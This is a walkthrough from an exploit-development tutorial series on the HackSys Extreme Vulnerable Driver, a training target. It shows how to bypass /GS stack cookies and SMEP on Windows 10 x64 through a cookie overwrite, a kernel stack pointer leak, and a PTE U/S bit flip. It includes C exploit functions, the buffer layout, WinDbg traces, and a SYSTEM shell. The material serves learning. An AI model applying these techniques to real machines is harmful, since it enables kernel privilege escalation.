[HEVD Exploit Series] StackOverflowGS

0. Preface

HackSys Extreme Vulnerable Driver (HEVD) is a Windows driver with multiple vulnerabilities developed for learning kernel exploit techniques. This article describes how to bypass a stack overflow vulnerability with /GS protection under a Windows 10 64-bit environment, involving two security mitigations: SMEP and /GS. Only part of the code is posted in this article. For the complete code, please refer to: https://github.com/zoemurmure/HEVD-Exploit

1. Target Function

TriggerBufferOverflowStackGS

__int64 __fastcall TriggerBufferOverflowStackGS(void *src, unsigned __int64 Size)
{
  char dst[512]; // [rsp+20h] [rbp-238h] BYREF

  memset(dst, 0, sizeof(dst));
  ProbeForRead(src, 0x200ui64, 1u);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", src);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", dst);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 512i64);
  DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack (GS)\n");
  memmove(dst, src, Size);
  return 0i64;
}

2. Mitigation: /GS Protection^[2]^

2.1 Introduction

The pseudo-code generated by Hex-Rays (F5) is identical to StackOverflow, but looking directly at the assembly code, we can see two additional blocks of code at the beginning and the end of the function:

PAGE:00000001400866E0 48 89 5C 24 18                mov     [rsp+arg_10], rbx
PAGE:00000001400866E5 56                            push    rsi
PAGE:00000001400866E6 57                            push    rdi
PAGE:00000001400866E7 41 54                         push    r12
PAGE:00000001400866E9 41 56                         push    r14
PAGE:00000001400866EB 41 57                         push    r15
PAGE:00000001400866ED 48 81 EC 30 02 00 00          sub     rsp, 230h
PAGE:00000001400866F4 48 8B 05 05 C9 F7 FF          mov     rax, cs:__security_cookie
PAGE:00000001400866FB 48 33 C4                      xor     rax, rsp
PAGE:00000001400866FE 48 89 84 24 20 02 00 00       mov     [rsp+258h+var_38], rax


PAGE:00000001400867D6
PAGE:00000001400867D6                               loc_1400867D6:
PAGE:00000001400867D6 8B C3                         mov     eax, ebx
PAGE:00000001400867D8 48 8B 8C 24 20 02 00 00       mov     rcx, [rsp+258h+var_38]
PAGE:00000001400867E0 48 33 CC                      xor     rcx, rsp        ; StackCookie
PAGE:00000001400867E3 E8 28 A9 F7 FF                call    __security_check_cookie
PAGE:00000001400867E8 48 8B 9C 24 70 02 00 00       mov     rbx, [rsp+258h+arg_10]
PAGE:00000001400867F0 48 81 C4 30 02 00 00          add     rsp, 230h
PAGE:00000001400867F7 41 5F                         pop     r15
PAGE:00000001400867F9 41 5E                         pop     r14
PAGE:00000001400867FB 41 5C                         pop     r12
PAGE:00000001400867FD 5F                            pop     rdi
PAGE:00000001400867FE 5E                            pop     rsi
PAGE:00000001400867FF C3                            retn

The system uses the global security_cookie to XOR the value of rsp and stores it in the stack. The approximate layout of the values in the stack is as follows:

+-+-+-+-+-+-+-+-+-+-+-+-+
|       variables       |
+-+-+-+-+-+-+-+-+-+-+-+-+
| xored security_cookie |
+-+-+-+-+-+-+-+-+-+-+-+-+
|    saved registers    |
+-+-+-+-+-+-+-+-+-+-+-+-+
|    return address     |
+-+-+-+-+-+-+-+-+-+-+-+-+
| function's arguments  |
+-+-+-+-+-+-+-+-+-+-+-+-+

Therefore, if we want to modify the return address through stack overflow, the stored xored security_cookie will be modified first, failing the __security_check_cookie validation. The value of security_cookie is randomly generated upon each boot/use. If the random algorithm is secure, attackers cannot predict this value and can no longer exploit the stack overflow vulnerability using previous methods.

The check in __security_check_cookie validates two parts: first, whether the xored security_cookie matches the original security_cookie after being XORed with RSP again; second, whether the upper 16 bits of this value are 0:

void __cdecl _security_check_cookie(uintptr_t StackCookie)
{
  __int64 v1; // rcx

  if ( StackCookie != _security_cookie )
ReportFailure:
    _report_gsfailure(StackCookie);
  v1 = __ROL8__(StackCookie, 16);
  if ( (_WORD)v1 )
  {
    StackCookie = __ROR8__(v1, 16);
    goto ReportFailure;
  }
}

By searching in IDA, we find that security_cookie is generated by the function _security_init_cookie and is ultimately stored at the beginning of the .data section.

.data:0000000140003000   ; Segment permissions: Read/Write
.data:0000000140003000   _data           segment para public 'DATA' use64
.data:0000000140003000                   assume cs:_data
.data:0000000140003000                   ;org 140003000h
.data:0000000140003000   ; uintptr_t _security_cookie
.data:0000000140003000   __security_cookie dq 2B992DDFA232h      ; DATA XREF: __security_check_cookie↑r

2.2 Bypass Methods

  1. SEH In previously learned user-mode stack overflow exploitation methods, exploiting SEH to achieve code execution was mentioned, which involves modifying the exception handler address in SEH and triggering an exception to control the program’s execution flow. However, this method is not feasible here because the testing environment is a 64-bit system. Only 32-bit systems store SEH information on the stack; 64-bit systems store SEH information in a table whose address is saved in the PE header^[3]^. Therefore, SEH cannot be used for exploitation.

  2. Guessing the security_cookie Value I decided not to waste time on this under Windows 10.

  3. Modifying the cookie value in .data and on the stack To achieve this, an arbitrary write (Write-What-Where) vulnerability is required, and HEVD clearly has this vulnerability in the TriggerArbitraryWrite function. Furthermore, the vulnerable function in this case performs an additional XOR operation on security_cookie with the top of the stack (RSP), so we also need to obtain the stack pointer value, similar to Method 5 below.

  4. Overwriting Virtual Function Pointers Conditions: (1) Object or structure pointers exist in function parameters; (2) parameters are placed on the stack. Since the test environment is a 64-bit system where parameters are passed via registers, this is not considered.

  5. Reading the cookie value and calculating the xored security_cookie value This requires an arbitrary read vulnerability to read the cookie value, and a way to obtain the value of the RSP register when xored security_cookie is calculated. Article^[1]^ used this method and obtained the RSP value using a method with very strict constraints.

In this study, we will attempt to achieve exploitation using Method 3/5. Method 5 in article^[1]^ was implemented using HEVD’s arbitrary write vulnerability to simulate an arbitrary read to read the cookie value. Here, we follow Method 3 to directly modify the cookie value in the .data section using the arbitrary write vulnerability, and then obtain the RSP value by referencing the method from article^[1]^ with some modifications (reasons discussed in the detailed analysis below). So far, I haven’t found other methods to bypass /GS on x64 systems; if you have any resources, feel free to contact me.

3. Mitigation: SMEP

3.1 Introduction

See https://mp.weixin.qq.com/s/F9Na71MkWxM-aGcTkj0I3A

3.2 Bypass Methods

If Hyper-V is enabled on the system, the Hyper Guard feature in Virtualization-Based Security (VBS) will prevent modifications to the CR4 register^[5]^, making the method of modifying CR4 unusable for exploitation.

Article^[1]^ uses a new bypass method: modifying the User/Supervisor (U/S) field in the Page Table Entry (PTE) structure^[7]^ of the page where the shellcode is located, setting it to Supervisor state, so that SMEP protection will not be triggered.

4. Implementation

4.1 Required Features

  1. Modify the security_cookie value saved in the .data section of HEVD.sys;
  2. Modify the U/S field value in the PTE of the page where the shellcode resides;
  3. Obtain the stack pointer value when the vulnerability is triggered.

4.2 Overall Flow

Get HEVD.sys base address → Get HEVD.sys .data section address → Modify .data section cookie value → Allocate space for shellcode → Get PTE address of the allocated page → Modify U/S field of PTE → Flush TLB cache → Kernel stack address leak → Set stack anchor → Search anchor → Calculate RSP → Overwrite stack overflow buffer

4.3 /GS Bypass Method

This part is relatively straightforward. The code is shown below (complete code can be found on GitHub):

ULONGLONG ChangeCookie() {
	/*
	Bypass the /GS defense mechanism by overwriting the cookie value in the .data section.
	The return value is the overwritten cookie value to facilitate insertion during overflow 
	and to maintain compatibility with other bypass methods.
	*/
	// Get HEVD base address
	ULONGLONG hevdBaseAddr = GetDriverBase("HEVD.sys");
	if (hevdBaseAddr == 0) {
		printf("[-] Fatal: Error getting base address of HEVD.sys\n");
		return 0;
	}

	// Get .data section base address
	ULONGLONG dataBase = 0, dataSize = 0;
	GetSectionAddr(hevdBaseAddr, ".data", &dataBase, &dataSize);

	
	//DWORD hevdDataSecOffset = GetDataSectionOffset(hevdFilePath);
	if (dataBase == 0) {
		printf("[-] Fatal: Error getting data section offset\n");
		return 0;
	}
	//ULONGLONG hevdDataSection = hevdBaseAddr + hevdDataSecOffset;
	printf("[+] hevdDataSection is 0x%I64x\n", dataBase);

	// Modify the cookie value in the .data section
	ULONGLONG newCookie = 0x0000414141414141;
	BOOL status = WriteData(dataBase, newCookie);
	if (status == FALSE) {
		printf("[-] FATAL writing newCookie at hevd data section\n");
		return 0;
	}

	return newCookie;
}

4.3.2 Obtain Stack Pointer Value

First, use the NtQuerySystemInformation function to retrieve the PSYSTEM_EXTENDED_PROCESS_INFORMATION of the current process, which contains the StackBase and StackLimit information for each thread in the process. StackBase represents the starting address of the stack, and StackLimit represents the minimum allocatable address within the stack range. Since the stack grows downwards, the value of StackBase is greater than StackLimit. The code for this method is mostly derived from the projects in reference [8] and reference [1], with minor detail modifications.

After executing the code, we get StackBase = 0xffffed0993bb2000 and StackLimit = 0xffffed0993bac000.

After determining the stack range, we need to find an invariant constant within this range as an anchor, and then use the anchor’s address as a base to determine the offset to the top of the stack when the XOR operation occurs. In reference [1], the anchor used is IOCTL_CODE. Let’s take a look at the data distribution on the stack when the system executes HEVD!TriggerBufferOverflowStackGS:

ffffed09`93bb1798 fffff800746866da HEVD!BufferOverflowStackGSIoctlHandler+0x1a 
ffffed09`93bb17a0 0000000000000010 
ffffed09`93bb17a8 0000000000050282 
ffffed09`93bb17b0 ffffed0993bb17c8 
ffffed09`93bb17b8 0000000000000018 
ffffed09`93bb17c0 0000000000000000 
ffffed09`93bb17c8 fffff80074685223 HEVD!IrpDeviceIoCtlHandler+0x1ab 
ffffed09`93bb17d0 ffffbc24a1f15c89 
ffffed09`93bb17d8 0000000000000000 
ffffed09`93bb17e0 fffff80074688300 HEVD! ?? ::NNGAKEGL::`string'
ffffed09`93bb17e8 0000000000222007 
ffffed09`93bb17f0 ffff880648758680 
ffffed09`93bb17f8 fffff800724316b5 nt!IofCallDriver+0x55

The IOCTL_CODE 0000000000222007 indeed resides on the stack. This data is pushed onto the stack during the execution of HEVD!IrpDeviceIoCtlHandler. Through debugging, we found that this value appears on the stack because the context is saved when DbgPrintEx is called in HEVD!IrpDeviceIoCtlHandler, which also saves the register holding IOCTL_CODE.

Of course, the anchor actually used is not 0000000000222007 but 000000000022200B, which is the IOCTL_CODE of the function where the arbitrary write vulnerability resides. This is because during the stack data search, the function containing the stack overflow vulnerability has not been called yet, so its control code will not appear on the stack. To search the stack, the function with the arbitrary write vulnerability must be called, making its control code appear on the stack. Additionally, since:

  • Only our exploit program is using the HEVD.sys driver, triggering only one handler at a time;
  • The call structures of different handlers are similar, and both call DbgPrintEx beforehand.

Therefore, the stack data layout remains identical after triggering different handlers, and the IOCTL_CODE of the corresponding handler is always present.

However, I found the above conditions to be somewhat strict, especially the second point. In a real-world environment, there is no guarantee that IOCTL_CODE will be pushed onto the stack. Thus, I consider using a more common anchor: the return address.

By examining the call stack, we can see that whenever a driver’s handler is triggered, the nt!NtDeviceIoControlFile function is inevitably called, with the return address at nt!NtDeviceIoControlFile+0x56.

Q: Why wasn’t the closer function nt!IofCallDriver chosen? A: Because we need to search for the call instruction within the function’s machine code to determine the return address (instead of hardcoding the offset 0x56). In nt!IofCallDriver, there are other 0xE8 opcodes preceding the target call instruction opcode 0xE8, making it inconvenient to search. Therefore, the nt!NtDeviceIoControlFile function was chosen.

This return address can be obtained programmatically in the exploit. Furthermore, I believe that even in real vulnerability environments, a setup similar to condition 1 can be achieved by increasing the execution count or timing the execution. Thus, using the return address as an anchor offers better generality.

First, verify the feasibility of this method:

1: kd> g
Breakpoint 0 hit
HEVD!TriggerArbitraryWrite:
fffff800`74685e74 488bc4          mov     rax,rsp
0: kd> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 fffff800`74685e6f     : ffffed09`92d337e8 00000000`00000001 00000000`00000000 fffff800`7280a621 : HEVD!TriggerArbitraryWrite 
01 fffff800`746851f3     : ffffbc24`a0997c89 00000000`00000000 fffff800`74688340 00000000`0022200b : HEVD!ArbitraryWriteIoctlHandler+0x17
02 fffff800`724316b5     : ffff8806`4609f780 00000000`00000002 00000000`00000001 ffff8806`469af190 : HEVD!IrpDeviceIoCtlHandler+0x17b
03 fffff800`7281d4c8     : ffffed09`92d33b80 ffff8806`4609f780 00000000`00000001 ffff8806`00000000 : nt!IofCallDriver+0x55
04 fffff800`7281d2c7     : ffff8806`00000000 ffffed09`92d33b80 00000000`00000000 ffffed09`92d33b80 : nt!IopSynchronousServiceTail+0x1a8
05 fffff800`7281c646     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc67
06 fffff800`72611ab5     : 00000000`000000a4 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
07 00007ffb`0196d1a4     : 00007ffa`ff01572b 00000000`00000000 00002032`98fecb16 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
08 00007ffa`ff01572b     : 00000000`00000000 00002032`98fecb16 00000000`00000000 00007ffb`018e6777 : 0x00007ffb`0196d1a4
09 00000000`00000000     : 00002032`98fecb16 00000000`00000000 00007ffb`018e6777 0000005c`ec6ff450 : 0x00007ffa`ff01572b
0: kd> s rsp L1000 46 c6 81 72 00 f8 ff ff
ffffed09`92d33a18  46 c6 81 72 00 f8 ff ff-00 00 00 00 00 00 00 00  F..r............

0: kd> g
Breakpoint 1 hit
HEVD!TriggerBufferOverflowStackGS:
fffff800`746866e0 48895c2418      mov     qword ptr [rsp+18h],rbx
2: kd> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 fffff800`746866da     : 00000000`00000010 00000000`00050282 ffffed09`92d337c8 00000000`00000018 : HEVD!TriggerBufferOverflowStackGS [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 70] 
01 fffff800`74685223     : ffffbc24`a0997c89 00000000`00000000 fffff800`74688300 00000000`00222007 : HEVD!BufferOverflowStackGSIoctlHandler+0x1a [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 148] 
02 fffff800`724316b5     : ffff8806`44eca820 00000000`00000002 00000000`00000001 ffff8806`469b02c0 : HEVD!IrpDeviceIoCtlHandler+0x1ab [c:\projects\hevd\driver\hevd\hacksysextremevulnerabledriver.c @ 282] 
03 fffff800`7281d4c8     : ffffed09`92d33b80 ffff8806`44eca820 00000000`00000001 ffff8806`00000000 : nt!IofCallDriver+0x55
04 fffff800`7281d2c7     : ffff8806`00000000 ffffed09`92d33b80 00000000`00000000 ffffed09`92d33b80 : nt!IopSynchronousServiceTail+0x1a8
05 fffff800`7281c646     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc67
06 fffff800`72611ab5     : ffffed09`92d33b80 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
07 00007ffb`0196d1a4     : 00007ffa`ff01572b 00000000`00000000 00002032`98feca86 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
08 00007ffa`ff01572b     : 00000000`00000000 00002032`98feca86 00000000`00000000 00007ffb`018e6777 : 0x00007ffb`0196d1a4
09 00000000`00000000     : 00002032`98feca86 00000000`00000000 00007ffb`018e6777 0000005c`ec6ff4c0 : 0x00007ffa`ff01572b
2: kd> s rsp L1000 46 c6 81 72 00 f8 ff ff
ffffed09`92d33a18  46 c6 81 72 00 f8 ff ff-00 00 00 00 00 00 00 00  F..r............

3: kd> p
HEVD!TriggerBufferOverflowStackGS+0x1b:
fffff800`746866fb 4833c4          xor     rax,rsp
3: kd> r rsp
rsp=ffffed0992d33540

It can be seen that when triggering these two handler functions, the return address used as the anchor is located at the same position in the stack, while the stack pointer for calculating the xored_security_cookie is ffffed0992d33540. The offset between the stack pointer and the anchor is 0x4D8. Therefore, we only need to locate the anchor and subtract 0x4D8 to obtain the value of RSP.

4.4 SMEP Bypass

4.4.1 How to Obtain the PTE Address

There is a function named MiGetPteAddress in the kernel. Its input parameter is a virtual address, and its return value is the corresponding PTE address. The function is as follows:

unsigned __int64 __fastcall MiGetPteAddress(unsigned __int64 va)
{
  return ((va >> 9) & 0x7FFFFFFFF8i64) + 0xFFFFF68000000000ui64;
}

Note the value 0xFFFFF68000000000ui64, which is the base address of the PTE. However, due to randomization, this address changes when disassembled dynamically using WinDbg:

3: kd> uf nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff805`05af5f10 48c1e909              shr     rcx,9
fffff805`05af5f14 48b8f8ffffff7f000000  mov rax,7FFFFFFFF8h
fffff805`05af5f1e 4823c8                and     rcx,rax
fffff805`05af5f21 48b80000000000a2ffff  mov rax,0FFFFA20000000000h
fffff805`05af5f2b 4803c1                add     rax,rcx
fffff805`05af5f2e c3                    ret

The best way is to call this function to get the PTE address. However, since it is not an exported function, we need to find a way to obtain the address of MiGetPteAddress, then read the PTE base address at offset 0x13, and use the calculation method in MiGetPteAddress to obtain the PTE address.

There are two methods to retrieve the address of MiGetPteAddress:

  1. Search for the function signature in the kernel code section I used the method of calculating function signatures to search within the .text section of ntoskrnl.exe. The signature calculation follows the method in reference [6], but a different approach was used to locate the .text section. The reason is detailed in the Knowledge Accumulation section below.

  2. Search for the call instruction in caller functions This method is from reference [8], which was originally used to search for the address of HMValidateHandle to leak kernel addresses. The same method can be used to find the address of MiGetPteAddress. In the functions referencing MiGetPteAddress, we can locate the exported function MmLockPreChargedPagedPool. This function is very short and calls MiGetPteAddress shortly after entry:

    public MmLockPreChargedPagedPool
    MmLockPreChargedPagedPool proc near
    48 83 EC 28                   sub     rsp, 28h
    4C 8B C1                      mov     r8, rcx
    E8 24 2D B7 FF                call    MiGetPteAddress
    48 8D 8A FF 0F 00 00          lea     rcx, [rdx+0FFFh]
    41 81 E0 FF 0F 00 00          and     r8d, 0FFFh
    49 03 C8                      add     rcx, r8
    41 B9 01 00 00 00             mov     r9d, 1
    48 C1 E9 0C                   shr     rcx, 0Ch
    48 8B D0                      mov     rdx, rax
    48 FF C9                      dec     rcx
    4C 8D 04 C8                   lea     r8, [rax+rcx*8]
    33 C9                         xor     ecx, ecx
    E8 A8 7E B4 FF                call    MiLockCode
    48 83 C4 28                   add     rsp, 28h
    C3                            retn
    

    Then, searching for the E8 opcode yields the address of MiGetPteAddress.

4.4.2 Modify the U/S Field

The PTE structure is introduced in x64 Paging Mechanism as follows:

| |   62:52   |          51:12          |          11:0         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|X|           |                         | | | | |P| | |P|P|U|R| |
|D|     i     |           PFN           |i|i|i|G|A|D|A|C|W|/|/|P|
| |           |                         | | | | |T| | |D|T|S|W| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The U/S field is located at bit 2. We only need to XOR it with 0x4 to modify the U/S field.

BOOL ChangeUS(ULONGLONG pteAddr) {
	PULONGLONG pte = (PULONGLONG)VirtualAlloc(NULL, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pte == 0) {
		printf("[!] FATAL: Error allocating memeory for pte\n");
		return FALSE;
	}
	ReadData(pte, (PULONGLONG)pteAddr, 8);
	ULONGLONG pteValue = *pte;
	printf("[+] Pte for shellcode is 0x%I64x\n", pteValue);

	BOOL status = WriteData(pteAddr, pteValue ^ 0x4);

	VirtualFree(pte, 0, MEM_RELEASE);
	return status;
}

As we can see, after modifying the U/S field, the field flag in the PTE becomes K.

1: kd> !process  0 0 StackOverflowGS.exe
PROCESS ffff82018712a080
    SessionId: 1  Cid: 16f4    Peb: 5677005000  ParentCid: 1830
    DirBase: 6de97000  ObjectTable: ffffd20318965540  HandleCount:  46.
    Image: StackOverflowGS.exe
1: kd> .process /p ffff82018712a080
Implicit process is now ffff8201`8712a080
.cache forcedecodeuser done
1: kd> !pte 1c5733b0000
                                           VA 000001c5733b0000
PXE at FFFFF77BBDDEE018    PPE at FFFFF77BBDC038A8    PDE at FFFFF77B80715CC8    PTE at 	FFFFF700E2B99D80
contains 0000000000000000
contains 0000000000000000
not valid
1: kd> !pte FFFFF700E2B99D80 1
                                           VA fffff700e2b99d80
PXE at FFFFF700E2B99D80    PPE at FFFFF700E2B99D80    PDE at FFFFF700E2B99D80    PTE at 	FFFFF700E2B99D80
contains 0100000071227843  contains 0100000071227843  contains 0100000071227843  contains 	0100000071227843
pfn 71227     ---D---KWEV  pfn 71227     ---D---KWEV  pfn 71227     ---D---KWEV  pfn 71227     ---D---KWEV

4.4.3 Determine the Overwrite Buffer Size

Since the destination buffer size in the vulnerable function is 512 bytes, to avoid crashes and machine reboots caused by overflows, we first set a 0x100 buffer and debug to determine the distance between the buffer starting address and the return address, as well as where xored_security_cookie is stored.

3: kd> p
HEVD!TriggerBufferOverflowStackGS+0x3e:
fffff800`7468671e e8ddadf7ff      call    HEVD!memset (fffff800`74601500)
3: kd> r 
rax=ffffac48d2424401 rbx=0000000000000000 rcx=ffffed0993030560
rdx=0000000000000000 rsi=0000000000000100 rdi=00000036192ff5c0
rip=fffff8007468671e rsp=ffffed0993030540 rbp=ffff8806463fb1a0
 r8=0000000000000200  r9=000000000000004d r10=fffff80074685078
r11=ffffed09930307c8 r12=0000000000000200 r13=0000000000000000
r14=ffff8806463fb270 r15=ffff8806443d4a80
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
HEVD!TriggerBufferOverflowStackGS+0x3e:
fffff800`7468671e e8ddadf7ff      call    HEVD!memset (fffff800`74601500)

Here, we determine that the starting address of the buffer is rcx=ffffed0993030560 and the size is r8=0000000000000200.

1: kd> p
HEVD!TriggerBufferOverflowStackGS+0xf6:
fffff800`746867d6 8bc3            mov     eax,ebx
1: kd> p
HEVD!TriggerBufferOverflowStackGS+0xf8:
fffff800`746867d8 488b8c2420020000 mov     rcx,qword ptr [rsp+220h]
1: kd> ? rsp + 220h
Evaluate expression: -20849599772832 = ffffed09`93030760

Here, we determine that the xored_security_cookie is stored at ffffed0993030760.

1: kd> p
HEVD!TriggerBufferOverflowStackGS+0x11f:
fffff800`746867ff c3              ret
1: kd> r rsp
rsp=ffffed0993030798

Here, we determine that the return address is stored at ffffed0993030798.

From the above results, we determine that the offset of xored_security_cookie is 0x200, and the offset of the return address is 0x238.

4.4.4 TLB Cache Flushing

In fact, before doing this step, probably because I kept reverting to a clean VM snapshot, my exploit was already successful. However, considering that this step is widely applicable in exploitation, I decided to learn it and integrate it into the exploit program.

The TLB cache issue is easily resolved. We just need to execute the wbinvd instruction to update and invalidate the cache. Use RP++ to find the gadget address:

0x380640: wbinvd ; ret ; \x0f\x09\xc3 (1 found)

The final buffer structure is:

// Start to exploit
char buffer[0x248] = { 0 };
printf("[+] Preparing exploit buffer!\n");
memset(buffer, 0x41, sizeof(buffer));
// xored security cookie
memcpy(&buffer[COOKIE_OFFSET], &xored_cookie, 8);
// return address
memcpy(&buffer[RTN_OFFSET], &wbinvdAddr, 8);
memcpy(&buffer[RTN_OFFSET+8], &shellcode, 8);

4.5 Results

PS C:\Users\patch\Desktop> C:\Users\patch\Desktop\StackOverflowGS.exe
[+] HEVD StackOverflowGS exploit
[+] Obtaining Driver Base Address!
[+] HEVD.sys is located at: 0xfffff80074600000
[+] Locating function!
[+] fileBase is 0xfffff80074600000
[+] elfanew is 0xd8
[+] numberOfSections is 0x7
[+] sizeOfOptionalHeader is 0xf0
[+] Found .text section, not .data, continue...
[+] Found .rdat section, not .data, continue...
[+] hevdDataSection is 0xfffff80074603000
[+] New cookie value is 0x414141414141!
[+] Found StackOverflowGS.exe
[+] StackBase is 0xffffed0992b0a000, StackLimit is 0x ffffed0992b04000
[+] Obtaining Driver Base Address!
[+] ntoskrnl.exe is located at: 0xfffff80072207000
[+] ntoskrnl.exe is 0x7ff7e9f80000
[+] NtDeviceIoControlFile is 0x7ff7ea5955f0
[+] Anchor is 0xfffff8007281c646
[+] AnchorAddr is ffffed0992b09a18
[+] RSP is ffffed0992b09540
[+] Creating shellcode.
[+] Shellcode allocated at: 0x0000023767260000
[+] Getting pte for shellcode.
[+] Obtaining Driver Base Address!
[+] ntoskrnl.exe is located at: 0xfffff80072207000
[+] Obtaining Driver Base Address!
[+] ntoskrnl.exe is located at: 0xfffff80072207000
[+] ntoskrnl.exe is 0x7ff7e9f80000
[+] MmLockPreChargedPagedPool is 0x7ff7ea6eb1e0
MiGetPteAddress from locatefun2 is fffff800724e4f10
[+] Rerutn from LocateFunc!
Reading data at fffff800724e4f23
[+] The base address of PTE is 0xfffffc0000000000
[+] Pte Address of shellcode is 0xfffffc011bb39300
[+] Changing U/S of pte.
[+] Pte for shellcode is 0x4006a867
[+] Preparing exploit buffer!
[+] Opening handle to \\.\HacksysExtremeVulnerableDriver

C:\>whoami
nt authority\system

5. Knowledge Accumulation

  1. Structured Exception Handling (SEH) mechanism in 64-bit systems;
  2. /GS bypass methods;
  3. Using an arbitrary write vulnerability to achieve arbitrary read;
  4. Methods to locate the address of the MiGetPteAddress function, and:
    1. The driver address obtained from the EnumDeviceDrivers function is the kernel base address. Its content cannot be read directly in user-mode code and requires an arbitrary read vulnerability. The handle obtained via LoadLibraryA represents the base address after loading the driver into the memory space of the current process, which can be read directly, but the PTE base address obtained this way is invalid.
    2. When obtaining the code section address, the code section base address obtained via IMAGE_OPTIONAL_HEADER is actually the base address of .rdata. Reading data sequentially from here will trigger an access violation; instead, the offset and size should be read from the .text IMAGE_SECTION_HEADER.
  5. Before using !pte in WinDbg to display the PTE address of a virtual address, you must first switch to the context of the corresponding process.
  6. The !pte command throwing the error Levels not implemented for this platform. I haven’t found a solid solution for this. I tried installing a lower version of the WDK, which resolved the issue temporarily, but it failed again when I tried it a few days later.
  7. Difference between cmp and test assembly instructions (I always get these mixed up).
  8. Methods for flushing/disabling TLB cache.

6. References

  1. Analysis Article
  2. Four different tricks to bypass StackShield and StackGuard protection
  3. Exceptional Behavior - x64 Structured Exception Handling
  4. Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR
  5. Windows 10 Mitigation Improvements
  6. TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL
  7. x64 Paging Mechanism
  8. HMValidateHandle Kernel Address Leak